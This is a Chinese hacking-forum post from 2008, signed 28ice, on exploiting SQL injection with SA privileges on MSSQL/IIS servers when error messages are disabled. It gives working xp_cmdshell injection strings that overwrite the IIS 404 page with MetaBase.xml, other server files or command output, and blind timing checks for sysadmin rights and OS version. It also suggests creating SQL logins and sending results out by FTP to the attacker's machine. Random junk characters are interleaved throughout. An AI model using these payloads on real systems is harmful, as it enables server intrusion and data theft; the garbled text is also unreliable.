遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。
9 Z- Z2 u* W, r
" C* a9 W& e: Q$ O8 j. s# a( r$ { 虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。7 Q) ?# S, X0 m5 Y
. g7 [0 M/ `7 p
这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。$ Z' [- J0 y6 R+ `: i7 l
" h! S- a9 O! a$ `# e; J IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm
! x3 F# Z; l8 b3 y/ G+ ]
0 t6 |0 x2 r7 s4 V0 n 得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--* k+ `# L, ]+ e1 S
9 y+ Y( u. v- s# m& t
,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。- @3 w& M- P9 y; J% I
6 ]/ a: i) }4 p+ C
执行命令得到回显* ]2 G5 e$ }; i9 Y: D- {
$ l8 p* |0 O( F4 ~7 s# w 通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--0 }7 t" ]7 c0 S ?9 w
# u y3 u1 H+ y" N7 z 得到文件也shi相同,把文件copy到404b.htm就行了3 h6 U9 M! h. h' y5 p/ c7 m# Z
% V3 ?/ Q4 {6 I+ a0 k6 @% ]: T by 28ice, 2008/6/26, d2 }9 _, |- n: N; g% j
$ S0 x4 u3 d& z1 m% X x. W 摘自 28度的冰: P* Q2 {1 V1 q9 a* j* k
8 t7 }- m: C& O9 d* L 盲注判断权限和操作系统版本1 ]: R) v5 M, f, h, F Y4 _
2 ~0 u6 t% c9 v& q- J* r 首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?
$ M3 t; ?( ~; m! Q4 u4 A
0 M Q; M' a1 B" y 最简单的,可能以用这样的方法:
( _! w& q: p8 |: e4 F
& c3 T+ l8 @5 ?: {' X$ {' C 1=(select IS_SRVROLEMEMBER(’sysadmin’))
& [0 ^6 k5 K& m/ h4 b7 j7 @4 F
当然,有些情况下,这个方法并不奏效。3 |1 u, G( @0 R0 R% D8 {
* l ? u5 x5 } 既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。
5 u4 l2 i/ H9 e( W! X& D1 j' h! g
$ J$ {- b& u5 H, Y, C% Q 有个3办法可能以解决这个问题
9 o$ u. B" e2 M* V s% z2 B( g. l
9 P8 u3 ]2 j2 Q$ y a.把执行结果写到404b.htm,具体请看我的上一篇文章
, ^: L: z+ ]+ o5 B
' `: @, o( ?0 n5 ` X" V, @5 x, K b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟8 t' w1 o0 o1 K4 b6 ?0 A2 |, u+ }
7 x; g, |% c9 I8 g# R& Q8 J c.如果1433端口可能以连接,那干脆新建个sql登录
) M( O9 \0 m2 G9 f" A
% r I u. Y, r1 K) e d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数4 r- S+ k- p, B1 C7 w
) a+ \0 r& i- a2 I' ^ 还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下
, K% G8 Y: B! g
* `$ O5 T' o! F- [ 很简单
B" x# l W: L2 d) t5 y5 e3 A9 m/ D: p- `" j7 k: r; a2 J8 m0 b" e
执行systeminfo
9 \6 w; y- i+ k5 |6 |1 a9 r, W4 o% Y y! h
在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |